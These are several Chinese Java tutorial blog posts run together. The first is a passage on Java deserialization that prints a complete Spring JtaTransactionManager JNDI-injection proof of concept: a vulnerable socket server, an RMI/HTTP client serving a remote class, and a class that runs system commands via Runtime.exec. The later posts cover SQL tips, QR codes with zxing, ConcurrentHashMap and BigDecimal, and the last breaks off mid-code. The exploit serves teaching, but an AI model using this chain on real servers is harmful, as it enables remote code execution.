https://www.baidu.com/");我们可以再把这段代码改造一下,内容如下://mac系统,执行打开计算器程序命令 Runtime.getRuntime().exec("open /Applications/Calculator.app/"); //windows系统,执行打开计算器程序命令 Runtime.getRuntime().exec("calc.exe");运行程序后,可以很轻松的打开电脑中已有的任意程序。很多人可能不知道,这里的readObject()是可以重写的,只是Serializable接口没有显示的把它展示出来,readObject()方法的作用是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,以定制反序列化的一些行为。可能有的同学会说,实际开发过程中,不会有人这么去重写readObject()方法,当然不会,但是实际情况也不会太差。2.2、Spring 框架的反序列化漏洞以当时的 Spring 框架爆出的反序列化漏洞为例,请看当时的示例代码。首先创建一个 server 代码:public class ExploitableServer { public static void main(String[] args) { try { //创建socket ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999")); System.out.println("Server started on port "+serverSocket.getLocalPort()); while(true) { //等待链接 Socket socket=serverSocket.accept(); System.out.println("Connection received from "+socket.getInetAddress()); ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); try { //读取对象 Object object = objectInputStream.readObject(); System.out.println("Read object "+object); } catch(Exception e) { System.out.println("Exception caught while reading object"); e.printStackTrace(); } } } catch(Exception e) { e.printStackTrace(); } } }然后创建一个 client 代码:public class ExploitClient { public static void main(String[] args) { try { String serverAddress = "127.0.0.1"; int port = Integer.parseInt("1234"); String localAddress= "127.0.0.1"; System.out.println("Starting HTTP server"); //开启8080端口服务 HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0); httpServer.createContext("/",new HttpFileHandler()); httpServer.setExecutor(null); httpServer.start(); System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object 提供恶意类的RMI服务 Registry registry = LocateRegistry.createRegistry(1099); /* java为了将object对象存储在Naming或者Directory服务下, 提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下, 比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中, 当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后, 就可以理解jndi注入产生的原因了。 */ //绑定本地的恶意类到1099端口 Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind("Object", referenceWrapper); System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口 Socket socket=new Socket(serverAddress,port); System.out.println("Connected to server"); String jndiAddress = "rmi://"+localAddress+":1099/Object"; //JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控,远程加载恶意类 //lookup方法会实例化恶意类,导致执行恶意类无参的构造方法 org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress); //上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类 System.out.println("Sending object to server..."); ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); objectOutputStream.writeObject(object); objectOutputStream.flush(); while(true) { Thread.sleep(1000); } } catch(Exception e) { e.printStackTrace(); } } }最后,创建一个ExportObject需要远程下载的类:public class ExportObject { public static String exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); return sb; } public ExportObject() throws Exception { String cmd="open /Applications/Calculator.app/"; throw new Exception(exec(cmd)); } }
未限制返回的数量这是个大问题啊,竟然没有设置 LIMIT 1,你是想找几个女朋友?设置 LIMIT 1 后MySQL 数据库引擎会在找到一条数据后停止搜索,而不是继续往后查找下一条符合记录的数据。一般大家在写列表查询的时候,都是分页查询的,否则在数据量很大的时候,全部查询出来,肯定会内存爆棚的。常规的分页语句想必大家都知道,是使用SELECT a,b,c FROM table WHERE id = xxx ORDER BY xx LIMIT OFFSET, SIZE;但是这种分页查询方式在数据量庞大的时候效率也是很低的,所以当在 MySQL 数据量庞大的时候可以通过改成子查询的方式来进行优化。比如当我们执行SELECT * FROM users WHERE age BETWEEN 20 AND 24 ORDER BY id LIMIT 10000000, 10; 的时候这种情况分页查询的效率也是很低的,所以我们可以改成这种形式SELECT * FROM users WHERE id >= (SELECT id FROM users WHERE age BETWEEN 20 AND 24 ORDER BY id LIMIT 10000000, 1) LIMIT 10这种写法因为子查询的 id 是在索引上面进行扫描的,所以查询效率会快很多,然后在通过 limit 10 就可以获取到相应的数据。哼,渣男无疑了吧!禁止使用 select *骑着单车去酒吧——该省省,该花花。要什么就挑什么,怎么能啥都要!首先看过阿粉之前提到的阿里巴巴 Java 规范手册的朋友,肯定知道在数据库相关模块有如下的强制要求,说的是在表查询中,一律不要使用 * 作为查询的字段列表,需要哪些字段必须明确写明。如下图所示“这里还没有看过阿里巴巴 Java 规范手册的,可以在公众号后台回复【Java】获取华山版和其他资料。文档中给出的说明有三点,分明是增加查询分析器解析成本;增减字段容易与 resultMap 配置不一致;无用字段增加网络消耗,尤其是text 类型的字段。这几点还是比较好理解的,阿粉这里想说明一下的是特别是在分库分表的时候,如果我们在发布的时候有数据库结构的变更,一般都是先升级数据库,然后再更新代码,这里我们一定要等待所有的表的结构都更新完了再更新代码,不然会导致代码逻辑是新的,但是表结构还是旧的,这种情况出现就会有问题。不过这种情况并不常见,一般会当代码和数据库有中间有其他中间件的时候,如果中间件处理的不合理才会遇到。哼,贪心了吧!尽可能设置充足的条件一般我们在创建表的时候,都会要求设置字段的默认值,这样在查询的时候就可以使用默认值进行查询,尽量避免在 where 子句中对字段进行 null 值判断,创建表时一般会设置 NOT NULL 然后再设置如 0 或者 -1 作为默认值。然后阿粉默默的问一句,只看 AGE 和 BOYFRIEND 这两个条件就够了吗?不考虑下是否已婚了?条件都加上了可以更加精确的查到所需的数据。阿粉就分析三条,小伙伴们还有其他的发现吗?欢迎在公众号下面留言,一起来批斗渣男~
一、提问环节在刚进入 IT 行业的第一年换工作的时候,至今让我印象最深刻的有一个这样的面试题:如何通过 SQL 方式将数据库的行转列?当时的面试官让我现场写 SQL,信心满满的我,我觉得我可以做出来,然后10分支、20分钟、30分钟...过去了,很遗憾一点动静都没有。最后的我不得不服,结局相信大家也能猜到是啥了!💔二、场景分析面试结束之后,不服输的我决定要把这个问题给破解掉,回到自己的租处之后,打开电脑,决定从0开始琢磨,怎么实现行转列呢?其实如果你是一个经常玩 sql 的人,相信看到这个提问的时候,你心里已经有答案了,解决这个问题,方法其实很简单,通过下面这个语法即可实现。case when ... then ... else ... end例如下面是一张很常见的学生考试成绩表,我们将学生的考试成绩以单表的形式存储到数据库表中。我们想要以下图形式,并以总分排名从高到底进行展示,如何通过 SQL 方式实现呢?有的同学说,我可以通代码层面来实现,不可否认,代码完全可以实现,只需要封装一个如下形式的数据结构就可以了。//学生姓名为key,相同key的数据封装到List集合中 Map<String, List<StudentExam> studentExamMap = new HashMap();其中学生姓名就是一个Key,然后把相同学生姓名的数据封装到List<StudentExam>集合中,最后将学生姓名的总分合计起来,做一个排序,也可以实现。在面对少量数据的时候,这种方式没问题,只是计算复杂了一点,但是当数据库表超过 5000 以上的时候,这种在代码层面的计算,内存就有点吃不消了,因此极其不推荐采用。面对这种场景需求,我们多半会采用通过 sql 方式来解决,那么通过 sql 方式破解呢?请看下图其中最关键的一步就是先用case when ... then ... else ... end语法将不同的课程分数分离出来,然后通过sum + group聚合函数查询进行分数汇总,最后通过order by语法将分数进行从高到低排序,进而达到我们想要的预期效果!其实像这样的行转列的查询逻辑非常的普遍,例如刚过去的奥运奖牌排行榜!还有全球新冠疫情数据排名。可能不同的应用实现方式不一样,但是大体的解决思路是一样的,将数据进行分组聚合汇总,然后按照分数进行从高到低排名。通过 SQL 实现还有一个非常大的好处,就是可以根据不同的维度进行排序,同时支持多个字段进行排序,如果在代码层面去实现排序,相当复杂。三、小结本文主要围绕如何通过 sql 的方式,将数据库表中的行转列进行显示,希望能帮助到大家!
一、介绍说到二维码,我相信大家每天都会用到,尤其是在手机支付的场景,使用频率极广。实际上二维码在1994年的时候就已经诞生了,由 Denso 公司研制而成,只是那个时候使用范围还不是很大。早期的二维码由于很容易通过技术方式进行伪造,因此很少有企业愿意去使用他,随着技术的不断迭代和更新,二维码的安全性更进一步得到了提升,从而使得更多的企业愿意使用这项新技术,例如当下的移动支付,还有微信互推,扫码出行等等,极大的方便了网民们的购物、社交和出行!在实际的业务开发过程中,二维码的使用场景开发也会经常出现在我们开发人员的面前,我们应该如何去处理呢,今天小编就带着大家一起深入的了解一下它的技术实现过程。二、代码实践在 Java 生态体系里面,操作二维码的开源项目很多,如 SwetakeQRCode、BarCode4j、Zxing 等等。今天我们介绍下简单易用的 google 公司的 zxing,zxing 不仅使用方便,而且可以还操作条形码或者二维码等,不仅有 java 版本,还有 Android 版。开源库地址:GitHub 开源地址:https://github.com/zxing/zxingzxing 二进制包下载地址:http://repo1.maven.org/maven2/com/google/zxingzxing Maven 仓库地址:https://mvnrepository.com/artifact/com.google.zxing通过 Maven 仓库,我们可以很轻松的将其依赖包添加到自己的项目。2.1、添加依赖包开发中如果是非 web 应用则导入 core 包即可,如果是 web 应用,则 core 与 javase 一起导入。<!-- 如果是非 web 应用则导入 core 包即可,如果是 web 应用,则 core 与 javase 一起导入。--> <dependency> <groupId>com.google.zxing</groupId> <artifactId>core</artifactId> <version>3.3.3</version> </dependency> <dependency> <groupId>com.google.zxing</groupId> <artifactId>javase</artifactId> <version>3.3.3</version> </dependency>2.2、生成二维码如何快速生成二维码呢?请看下面的测试代码!import com.google.zxing.BarcodeFormat; import com.google.zxing.EncodeHintType; import com.google.zxing.MultiFormatWriter; import com.google.zxing.common.BitMatrix; import com.google.zxing.qrcode.decoder.ErrorCorrectionLevel; import javax.imageio.ImageIO; import javax.swing.filechooser.FileSystemView; import java.awt.image.BufferedImage; import java.io.File; import java.util.Date; import java.util.HashMap; import java.util.Map; /** * * 二维码、条形码工具类 */ public class QRCodeWriteUtil { /** * CODE_WIDTH:二维码宽度,单位像素 * CODE_HEIGHT:二维码高度,单位像素 * FRONT_COLOR:二维码前景色,0x000000 表示黑色 * BACKGROUND_COLOR:二维码背景色,0xFFFFFF 表示白色 * 演示用 16 进制表示,和前端页面 CSS 的取色是一样的,注意前后景颜色应该对比明显,如常见的黑白 */ private static final int CODE_WIDTH = 400; private static final int CODE_HEIGHT = 400; private static final int FRONT_COLOR = 0x000000; private static final int BACKGROUND_COLOR = 0xFFFFFF; /** * 生成二维码 并 保存为图片 * @param codeContent */ public static void createCodeToFile(String codeContent) { try { //获取系统目录 String filePathDir = FileSystemView.getFileSystemView().getHomeDirectory().getAbsolutePath(); //随机生成 png 格式图片 String fileName = new Date().getTime() + ".png"; /**com.google.zxing.EncodeHintType:编码提示类型,枚举类型 * EncodeHintType.CHARACTER_SET:设置字符编码类型 * EncodeHintType.ERROR_CORRECTION:设置误差校正 * ErrorCorrectionLevel:误差校正等级,L = ~7% correction、M = ~15% correction、Q = ~25% correction、H = ~30% correction * 不设置时,默认为 L 等级,等级不一样,生成的图案不同,但扫描的结果是一样的 * EncodeHintType.MARGIN:设置二维码边距,单位像素,值越小,二维码距离四周越近 * */ Map<EncodeHintType, Object> hints = new HashMap(); hints.put(EncodeHintType.CHARACTER_SET, "UTF-8"); hints.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.M); hints.put(EncodeHintType.MARGIN, 1); /** * MultiFormatWriter:多格式写入,这是一个工厂类,里面重载了两个 encode 方法,用于写入条形码或二维码 * encode(String contents,BarcodeFormat format,int width, int height,Map<EncodeHintType,?> hints) * contents:条形码/二维码内容 * format:编码类型,如 条形码,二维码 等 * width:码的宽度 * height:码的高度 * hints:码内容的编码类型 * BarcodeFormat:枚举该程序包已知的条形码格式,即创建何种码,如 1 维的条形码,2 维的二维码 等 * BitMatrix:位(比特)矩阵或叫2D矩阵,也就是需要的二维码 */ MultiFormatWriter multiFormatWriter = new MultiFormatWriter(); BitMatrix bitMatrix = multiFormatWriter.encode(codeContent, BarcodeFormat.QR_CODE, CODE_WIDTH, CODE_HEIGHT, hints); /**java.awt.image.BufferedImage:具有图像数据的可访问缓冲图像,实现了 RenderedImage 接口 * BitMatrix 的 get(int x, int y) 获取比特矩阵内容,指定位置有值,则返回true,将其设置为前景色,否则设置为背景色 * BufferedImage 的 setRGB(int x, int y, int rgb) 方法设置图像像素 * x:像素位置的横坐标,即列 * y:像素位置的纵坐标,即行 * rgb:像素的值,采用 16 进制,如 0xFFFFFF 白色 */ BufferedImage bufferedImage = new BufferedImage(CODE_WIDTH, CODE_HEIGHT, BufferedImage.TYPE_INT_BGR); for (int x = 0; x < CODE_WIDTH; x++) { for (int y = 0; y < CODE_HEIGHT; y++) { bufferedImage.setRGB(x, y, bitMatrix.get(x, y) ? FRONT_COLOR : BACKGROUND_COLOR); } } /**javax.imageio.ImageIO java 扩展的图像IO * write(RenderedImage im,String formatName,File output) * im:待写入的图像 * formatName:图像写入的格式 * output:写入的图像文件,文件不存在时会自动创建 * * 即将保存的二维码图片文件*/ File codeImgFile = new File(filePathDir, fileName); ImageIO.write(bufferedImage, "png", codeImgFile); System.out.println("二维码图片生成成功:" + codeImgFile.getPath()); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { String codeContent1 = "Hello World"; createCodeToFile(codeContent1); String codeContent2 = "https://www.baidu.com/"; createCodeToFile(codeContent2); } }还是老规矩,我们先创建一个内容为Hello World的二维码,然后在创建一个内容为https://www.baidu.com/链接地址的二维码。运行程序之后,输出内容如下:二维码图片生成成功:/Users/Desktop/1632403131016.png 二维码图片生成成功:/Users/Desktop/1632403131233.png打开图片内容!用微信扫一扫,结果如下:2.3、读取二维码创建很容易,那么如何读取二维码内容呢?请看下面的测试代码:import com.google.zxing.*; import com.google.zxing.client.j2se.BufferedImageLuminanceSource; import com.google.zxing.common.HybridBinarizer; import javax.imageio.ImageIO; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.net.URL; import java.util.HashMap; import java.util.Map; /** * 二维码、条形码工具类 */ public class QRCodeReadUtil { /** * 解析二维码内容(文件) * @param file * @return * @throws IOException */ public static String parseQRCodeByFile(File file) throws IOException { BufferedImage bufferedImage = ImageIO.read(file); return parseQRCode(bufferedImage); } /** * 解析二维码内容(网络链接) * @param url * @return * @throws IOException */ public static String parseQRCodeByUrl(URL url) throws IOException { BufferedImage bufferedImage = ImageIO.read(url); return parseQRCode(bufferedImage); } private static String parseQRCode(BufferedImage bufferedImage){ try { /** * com.google.zxing.client.j2se.BufferedImageLuminanceSource:缓冲图像亮度源 * 将 java.awt.image.BufferedImage 转为 zxing 的 缓冲图像亮度源 * 关键就是下面这几句:HybridBinarizer 用于读取二维码图像数据,BinaryBitmap 二进制位图 */ LuminanceSource source = new BufferedImageLuminanceSource(bufferedImage); BinaryBitmap bitmap = new BinaryBitmap(new HybridBinarizer(source)); Map<DecodeHintType, Object> hints = new HashMap<>(); hints.put(DecodeHintType.CHARACTER_SET, "UTF-8"); /** * 如果图片不是二维码图片,则 decode 抛异常:com.google.zxing.NotFoundException * MultiFormatWriter 的 encode 用于对内容进行编码成 2D 矩阵 * MultiFormatReader 的 decode 用于读取二进制位图数据 */ Result result = new MultiFormatReader().decode(bitmap, hints); return result.getText(); } catch (Exception e) { e.printStackTrace(); System.out.println("-----解析二维码内容失败-----"); } return null; } public static void main(String[] args) throws IOException { File localFile = new File("/Users/Desktop/1632403131016.png"); String content1 = parseQRCodeByFile(localFile); System.out.println(localFile + " 二维码内容:" + content1); URL url = new URL("http://cdn.pzblog.cn/1951b6c4b40fd81630903bf6f7037156.png"); String content2 = parseQRCodeByUrl(url); System.out.println(url + " 二维码内容:" + content2); } }运行程序,输出内容如下:/Users/Desktop/1632403131016.png 二维码内容:Hello World http://cdn.pzblog.cn/1951b6c4b40fd81630903bf6f7037156.png 二维码内容:https://www.baidu.com/2.4、web 二维码交互展示在实际的项目开发过程中,很多时候二维码都是根据参数实时输出到网页上进行显示的,它的实现原理类似验证码,例如下图,它们都是后台先生成内存图像BufferedImage,然后使用ImageIO.write写出来。在线生成二维码的功能,其实也类似于此!前端关键代码如下:<img src="http://xxxx/projectDemo/qrCode" alt="验证码,点击刷新!" onclick="this.src=this.src+'?temp='+Math.random();" class="content-code fl-r" />后端关键代码如下:@Controller public class SystemController { @GetMapping("qrCode") public void getQRCode(HttpServletResponse response) { String content = "Hello World"; try { /** * 调用工具类生成二维码并输出到输出流中 */ QRCodeWriteUtil.createCodeToOutputStream(content, response.getOutputStream()); } catch (IOException e) { e.printStackTrace(); } } }其中createCodeToOutputStream方法,源码如下:/** * 生成二维码 并 保存为图片 * @param codeContent */ public static void createCodeToOutputStream(String codeContent, OutputStream outputStream) { try { /**com.google.zxing.EncodeHintType:编码提示类型,枚举类型 * EncodeHintType.CHARACTER_SET:设置字符编码类型 * EncodeHintType.ERROR_CORRECTION:设置误差校正 * ErrorCorrectionLevel:误差校正等级,L = ~7% correction、M = ~15% correction、Q = ~25% correction、H = ~30% correction * 不设置时,默认为 L 等级,等级不一样,生成的图案不同,但扫描的结果是一样的 * EncodeHintType.MARGIN:设置二维码边距,单位像素,值越小,二维码距离四周越近 * */ Map<EncodeHintType, Object> hints = new HashMap(); hints.put(EncodeHintType.CHARACTER_SET, "UTF-8"); hints.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.M); hints.put(EncodeHintType.MARGIN, 1); /** * MultiFormatWriter:多格式写入,这是一个工厂类,里面重载了两个 encode 方法,用于写入条形码或二维码 * encode(String contents,BarcodeFormat format,int width, int height,Map<EncodeHintType,?> hints) * contents:条形码/二维码内容 * format:编码类型,如 条形码,二维码 等 * width:码的宽度 * height:码的高度 * hints:码内容的编码类型 * BarcodeFormat:枚举该程序包已知的条形码格式,即创建何种码,如 1 维的条形码,2 维的二维码 等 * BitMatrix:位(比特)矩阵或叫2D矩阵,也就是需要的二维码 */ MultiFormatWriter multiFormatWriter = new MultiFormatWriter(); BitMatrix bitMatrix = multiFormatWriter.encode(codeContent, BarcodeFormat.QR_CODE, CODE_WIDTH, CODE_HEIGHT, hints); /**java.awt.image.BufferedImage:具有图像数据的可访问缓冲图像,实现了 RenderedImage 接口 * BitMatrix 的 get(int x, int y) 获取比特矩阵内容,指定位置有值,则返回true,将其设置为前景色,否则设置为背景色 * BufferedImage 的 setRGB(int x, int y, int rgb) 方法设置图像像素 * x:像素位置的横坐标,即列 * y:像素位置的纵坐标,即行 * rgb:像素的值,采用 16 进制,如 0xFFFFFF 白色 */ BufferedImage bufferedImage = new BufferedImage(CODE_WIDTH, CODE_HEIGHT, BufferedImage.TYPE_INT_BGR); for (int x = 0; x < CODE_WIDTH; x++) { for (int y = 0; y < CODE_HEIGHT; y++) { bufferedImage.setRGB(x, y, bitMatrix.get(x, y) ? FRONT_COLOR : BACKGROUND_COLOR); } } ImageIO.write(bufferedImage, "png", outputStream); System.out.println("二维码图片生成成功"); } catch (Exception e) { e.printStackTrace(); } }这种方式,如果是单体应用,其实没太大问题,在微服务开发的环境下有局限性。因此我们还有另外一种玩法,那就是将生成的图片流转成base64的格式,然后返回给前端进行展示。关键代码改造过程如下://定义字节输出流,将bufferedImage写入 ByteArrayOutputStream out = new ByteArrayOutputStream(); ImageIO.write(bufferedImage, "png", out); //将输出流转换成base64 String str64 = Base64.getEncoder().encodeToString(out.toByteArray());最后,把base64内容以json的形式返回给前端,进行展示!三、小结本文主要围绕二维码的技术实现做了简单的介绍,其实关于二维码的故事,还远不止于此,在下期的文章中,我们还会继续介绍它。鉴于笔者才疏学浅,难免会有理解不到位的地方,欢迎网友批评指出!四、参考1、csdn - 蚩尤后裔- com.google.zxing 二维码生成与解析
什么是分段锁我们都知道 HashMap 是一个线程不安全的类,多线程环境下,使用 HashMap 进行put操作会引起死循环,导致CPU利用率接近100%,所以如果你的并发量很高的话,所以是不推荐使用 HashMap 的。而我们所知的,HashTable 是线程安全的,但是因为 HashTable 内部使用的 synchronized 来保证线程的安全,所以,在多线程情况下,HashTable 虽然线程安全,但是他的效率也同样的比较低下。所以就出现了一个效率相对来说比 HashTable 高,但是还比 HashMap 安全的类,那就是 ConcurrentHashMap,而 ConcurrentHashMap 在 JDK8 中却放弃了使用分段锁,为什么呢?那他之后是使用什么来保证线程安全呢?我们今天来看看。什么是分段锁?其实这个分段锁很容易理解,既然其他的锁都是锁全部,那分段锁是不是和其他的不太一样,是的,他就相当于把一个方法切割成了很多块,在单独的一块上锁的时候,其他的部分是不会上锁的,也就是说,这一段被锁住,并不影响其他模块的运行,分段锁如果这样理解是不是就好理解了,我们先来看看 JDK7 中的 ConcurrentHashMap 的分段锁的实现。在 JDK7 中 ConcurrentHashMap 底层数据结构是数组加链表,这也是之前阿粉说过的 JDK7和 JDK8 中 HashMap 不同的地方,源码送上。//初始总容量,默认16 static final int DEFAULT_INITIAL_CAPACITY = 16; //加载因子,默认0.75 static final float DEFAULT_LOAD_FACTOR = 0.75f; //并发级别,默认16 static final int DEFAULT_CONCURRENCY_LEVEL = 16; static final class Segment<K,V> extends ReentrantLock implements Serializable { transient volatile HashEntry<K,V>[] table; }在阿粉贴上的上面的源码中,有Segment<K,V>,这个类才是真正的的主要内容, ConcurrentHashMap 是由 Segment 数组结构和 HashEntry 数组结构组成.我们看到了 Segment<K,V>,而他的内部,又有HashEntry数组结构组成. Segment 继承自 RentrantLock 在这里充当的是一个锁,而在其内部的 HashEntry 则是用来存储键值对数据.图就像下面这个样子也就是说,一个Segment里包含一个HashEntry数组,每个HashEntry是一个链表结构的元素,当需要put元素的时候,并不是对整个hashmap进行加锁,而是先通过hashcode来知道他要放在哪一个分段中,然后对这个分段进行加锁。最后也就出现了,如果不是在同一个分段中的 put 数据,那么 ConcurrentHashMap 就能够保证并行的 put ,也就是说,在并发过程中,他就是一个线程安全的 Map 。为什么 JDK8 舍弃掉了分段锁呢?这时候就有很多人关心了,说既然这么好用,为啥在 JDK8 中要放弃使用分段锁呢?这就要我们来分析一下为什么要用 ConcurrentHashMap ,1.线程安全。2.相对高效。因为在 JDK7 中 Segment 继承了重入锁ReentrantLock,但是大家有没有想过,如果说每个 Segment 在增长的时候,那你有没有考虑过这时候锁的粒度也会在不断的增长。而且前面阿粉也说了,一个Segment里包含一个HashEntry数组,每个锁控制的是一段,那么如果分成很多个段的时候,这时候加锁的分段还是不连续的,是不是就会造成内存空间的浪费。所以问题一出现了,分段锁在某些特定的情况下是会对内存造成影响的,什么情况呢?我们倒着推回去就知道:1.每个锁控制的是一段,当分段很多,并且加锁的分段不连续的时候,内存空间的浪费比较严重。大家都知道,并发是什么样子的,就相当于百米赛跑,你是第一,我是第二这种形式,同样的,线程也是这样的,在并发操作中,因为分段锁的存在,线程操作的时候,争抢同一个分段锁的几率会小很多,既然小了,那么应该是优点了,但是大家有没有想过如果这一分块的分段很大的时候,那么操作的时间是不是就会变的更长了。所以第二个问题出现了:2.如果某个分段特别的大,那么就会影响效率,耽误时间。所以,这也是为什么在 JDK8 不在继续使用分段锁的原因。既然我们说到这里了,我们就来聊一下这个时间和空间的概念,毕竟很多面试官总是喜欢问时间复杂度,这些看起来有点深奥的东西,但是如果你自己想想,用自己的话说出来,是不是就没有那么难理解了。什么是时间复杂度百度百科是这么说的:在计算机科学中,时间复杂性,又称时间复杂度,算法的时间复杂度是一个函数,它定性描述该算法的运行时间, 这是一个代表算法输入值的字符串的长度的函数。时间复杂度常用大O符号表述,不包括这个函数的低阶项和首项系数其实面试官问这个 时间复杂度 无可厚非,因为如果你作为一个公司的领导,如果手底下的两个员工,交付同样的功能提测,A交付的代码,运行时间50s,内存占用12M,B交付的代码,运行时间110s,内存占用50M 的时候,你会选择哪个员工提交的代码?A 还是 B 这个答案一目了然,当然,我们得先把 Bug 这种因素排除掉,没有任何质疑,肯定选 A 员工提交的代码,因为运行时间快,内存占用量小,那肯定的优先考虑。那么既然我们知道这个代码都和时间复杂度有关系了,那么面试官再问这样的问题,你还觉得有问题么?答案也很肯定,没问题,你计算不太熟,但是也需要了解。我们要想知道这个时间复杂度,那么就把我们的程序拉出来运行一下,看看是什么样子的,我们先从循环入手,for(i=1; i<=n; i++) { j = i; j++; }它的时间复杂度是什么呢?上面百度百科说用大O符号表述,那么实际上它的时间复杂度就是 O(n),这个公式是什么意思呢?线性阶 O(n),也就是说,我们上面写的这个最简单的算法的时间趋势是和 n 挂钩的,如果 n 变得越来越大,那么相对来说,你的时间花费的时间也就越来越久,也就是说,我们代码中的 n 是多大,我们的代码就要循环多少遍。这样说是不是就很简单了?关于时间复杂度,阿粉以后会给大家说,话题跑远了,我们回来,继续说,JDK8 的 ConcurrentHashMap 既然不使用分段锁了,那么他使用的是什么呢?JDK8 的 ConcurrentHashMap 使用的是什么?从上面的分析中,我们得出了 JDK7 中的 ConcurrentHashMap 使用的是 Segment 和 HashEntry,而在 JDK8 中 ConcurrentHashMap 就变了,阿粉现在这里给大家把这个抛出来,我们再分析, JDK8 中的 ConcurrentHashMap 使用的是 synchronized 和 CAS 和 HashEntry 和红黑树。听到这里的时候,我们是不是就感觉有点类似,HashMap 是不是也是使用的红黑树来着?有这个感觉就对了,ConcurrentHashMap 和 HashMap 一样,使用了红黑树,而在 ConcurrentHashMap 中则是取消了Segment分段锁的数据结构,取而代之的是Node数组+链表+红黑树的结构。为什么要这么做呢?因为这样就实现了对每一行数据进行加锁,减少并发冲突。实际上我们也可以这么理解,就是在 JDK7 中,使用的是分段锁,在 JDK8 中使用的是 “读写锁” 毕竟采用了 CAS 和 Synchronized 来保证线程的安全。我们来看看源码://第一次put 初始化 Node 数组 private final Node<K,V>[] initTable() { Node<K,V>[] tab; int sc; while ((tab = table) == null || tab.length == 0) { if ((sc = sizeCtl) < 0) Thread.yield(); // lost initialization race; just spin else if (U.compareAndSwapInt(this, SIZECTL, sc, -1)) { try { if ((tab = table) == null || tab.length == 0) { int n = (sc > 0) ? sc : DEFAULT_CAPACITY; @SuppressWarnings("unchecked") Node<K,V>[] nt = (Node<K,V>[])new Node<?,?>[n]; table = tab = nt; sc = n - (n >>> 2); } } finally { sizeCtl = sc; } break; } } return tab; }public V put(K key, V value) { return putVal(key, value, false); } /** Implementation for put and putIfAbsent */ final V putVal(K key, V value, boolean onlyIfAbsent) { if (key == null || value == null) throw new NullPointerException(); int hash = spread(key.hashCode()); int binCount = 0; for (Node<K,V>[] tab = table;;) { Node<K,V> f; int n, i, fh; if (tab == null || (n = tab.length) == 0) tab = initTable(); //如果相应位置的Node还未初始化,则通过CAS插入相应的数据 else if ((f = tabAt(tab, i = (n - 1) & hash)) == null) { if (casTabAt(tab, i, null, new Node<K,V>(hash, key, value, null))) break; // no lock when adding to empty bin } else if ((fh = f.hash) == MOVED) tab = helpTransfer(tab, f); ... //如果该节点是TreeBin类型的节点,说明是红黑树结构,则通过putTreeVal方法往红黑树中插入节点 else if (f instanceof TreeBin) { Node<K,V> p; binCount = 2; if ((p = ((TreeBin<K,V>)f).putTreeVal(hash, key,value)) != null) { oldVal = p.val; if (!onlyIfAbsent) p.val = value; } //如果binCount不为0,说明put操作对数据产生了影响,如果当前链表的个数达到8个,则通过treeifyBin方法转化为红黑树,如果oldVal不为空,说明是一次更新操作,返回旧值 if (binCount != 0) { if (binCount >= TREEIFY_THRESHOLD) treeifyBin(tab, i); if (oldVal != null) return oldVal; break; } } addCount(1L, binCount); return null; }put 的方法有点太长了,阿粉就截取了部分代码,大家莫怪,如果大家有兴趣,大家可以去对比一下去 JDK7 和 JDK8 中寻找不同的东西,这样亲自动手才能收获到更多不是么?
作为 Java 程序员在日常的工作中,很多时候我们都会遇到一些需要进行数据计算的场景,通常对于不需要计算精度的场景我们都可以使用 Integer,Float 或者 Double 来进行计算,虽然会丢失精度但是偶尔也可以用,如果我们需要精确计算结果的时候,就会用到 java.math 包中提供的 BigDecimal 类来实现对应的功能了。BigDecimal 作为精确数据计算的工具,既然是数据计算,那肯定会提供相应的加减乘除的方法来让我们使用,如下:add(BigDecimal):BigDecimal 对象中的值相加,返回 BigDecimal 对象subtract(BigDecimal):BigDecimal 对象中的值相减,返回 BigDecimal 对象multiply(BigDecimal):BigDecimal 对象中的值相乘,返回 BigDecimal 对象divide(BigDecimal):BigDecimal 对象中的值相除,返回 BigDecimal 对象需要使用对应的方法的时候,我们首先要创建 BigDecimal 对象,然后才能使用,对应的构造方法有BigDecimal(int):创建一个具有参数所指定整数值的对象BigDecimal(double):创建一个具有参数所指定双精度值的对象BigDecimal(long):创建一个具有参数所指定长整数值的对象BigDecimal(String):创建一个具有参数所指定以字符串表示的数值的对象通过构造方法创建出的 BigDecimal 对象后,通过调用对应的方法以及传入另一个 BigDecimal 参数来实现相应的加减乘除方法。如下示例:package org.test; import java.math.BigDecimal; public class TestClass { public static void main(String[] args) { BigDecimal num1 = new BigDecimal("11"); BigDecimal num2 = new BigDecimal("102"); BigDecimal result1 = num2.add(num1); BigDecimal result2 = num2.subtract(num1); BigDecimal result3 = num2.multiply(num1); System.out.println("num2 + num1 = " + result1); System.out.println("num2 - num1 = " + result2); System.out.println("num2 * num1 = " + result3); System.out.println("num2 / num1 = " + (102 / 11)); System.out.println("ROUND_UP: num2 / num1 = " + num2.divide(num1, 2, BigDecimal.ROUND_UP)); System.out.println("ROUND_DOWN: num2 / num1 = " + num2.divide(num1, 2, BigDecimal.ROUND_DOWN)); System.out.println("ROUND_CEILING: num2 / num1 = " + num2.divide(num1, 2, BigDecimal.ROUND_CEILING)); System.out.println("ROUND_FLOOR: num2 / num1 = " + num2.divide(num1, 2, BigDecimal.ROUND_FLOOR)); 